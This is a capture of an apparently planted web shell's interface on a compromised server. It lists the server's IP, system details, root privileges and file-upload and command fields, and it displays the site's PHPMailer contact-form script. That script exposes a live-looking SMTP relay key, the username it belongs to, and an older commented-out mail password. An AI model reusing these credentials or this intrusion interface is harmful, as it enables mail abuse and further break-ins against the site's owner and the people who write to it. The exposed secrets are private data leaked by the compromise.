Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.216.135
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /data/html/portafolioqmg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/html/portafolioqmg/phpmailer.php
<?php
// Import PHPMailer classes into the global namespace
// These must be at the top of your script, not inside a function
require 'vendor/autoload.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
 

$data = json_decode(file_get_contents("php://input"));

if (!empty($data->honeypot)) {
  echo "Honeypot field should be empty.";
  return; 
}
 

$mail = new PHPMailer(true);   

// Specify your SSL options
$mail->SMTPOptions = array(
  'ssl' => array(
      'verify_peer' => true,
      'verify_peer_name' => true,
      'allow_self_signed' => false,
      'cafile' => 'vendor/config/cacert.pem', // Specify the path to your CA certificates file
  )
);

// Passing `true` enables exceptions
try {
    //Server settings
   // $mail->SMTPDebug = true;                                 // Enable verbose debug output
    $mail->isSMTP();                                      // Set mailer to use SMTP
//    $mail->Host = 'mail.quattromg.com';                     // Specify main and backup SMTP servers
//    $mail->SMTPAuth = true;                               // Enable SMTP authentication
//    $mail->Username = 'portafolio@quattromg.com';                 // SMTP username
//    $mail->Password = '-hfL87<X8r/%';
    $mail->Host = 'smtp-relay.brevo.com';                     // Specify main and backup SMTP servers
    $mail->SMTPAuth = true;                               // Enable SMTP authentication
    $mail->Username = 'mlizarraga@quattromg.com';                 // SMTP username
    $mail->Password = 'xsmtpsib-616dc26c25d23e7d8c6f3a8c894b142fde204627c3be10c7a8212a30a4512bd1-RbxrzXDwh2Ea3V6c';
    
    $mail->SMTPSecure = "tls";            //Enable implicit TLS encryption
    $mail->Port       = 587;
    $mail->CharSet = "UTF-8";
    
    //Content
    $nombre = $data->nombre;
    $telefono = $data->telefono;
    $correo = $data->correo;
    $mensaje = $data->mensaje;

    $mail->setFrom('mlizarraga@quattromg.com', 'Correo Contacto Portafolio Quattro');

    $recipients = ['solorio@quattro.marketing'];

    foreach ($recipients as $email) {
        $mail->addAddress($email);
    }

    $mail->isHTML(true);
    $mail->Subject = 'Portafolio servicios formulario de contacto';

$mail->Body = '
<html>
<head>
    <style>
        body {
            font-family: Arial, sans-serif;
            color: #333;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 10px;
            border: 1px solid #ddd;
            text-align: left;
        }
        th {
            background-color: #f2f2f2;
        }
    </style>
</head>
<body>
    <table>
        <tr>
            <th colspan="2">Información de Contacto</th>
        </tr>
        <tr>
            <td><b>Nombre y Apellido:</b></td>
            <td>' . htmlspecialchars($nombre, ENT_QUOTES, 'UTF-8') . '</td>
        </tr>
        <tr>
            <td><b>Teléfono:</b></td>
            <td>' . htmlspecialchars($correo, ENT_QUOTES, 'UTF-8') . '</td>
        </tr>
        <tr>
            <td><b>Teléfono:</b></td>
            <td>' . htmlspecialchars($telefono, ENT_QUOTES, 'UTF-8') . '</td>
        </tr>
        <tr>
            <td><b>Mensaje:</b></td>
            <td>' . htmlspecialchars($mensaje, ENT_QUOTES, 'UTF-8') . '</td>
        </tr>
    </table>
</body>
</html>';
    $mail->send();
    http_response_code(200);
    echo 200; 
} catch (Exception $e) {
    echo 'Mailer Error: ' . $mail->ErrorInfo;
}

//}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit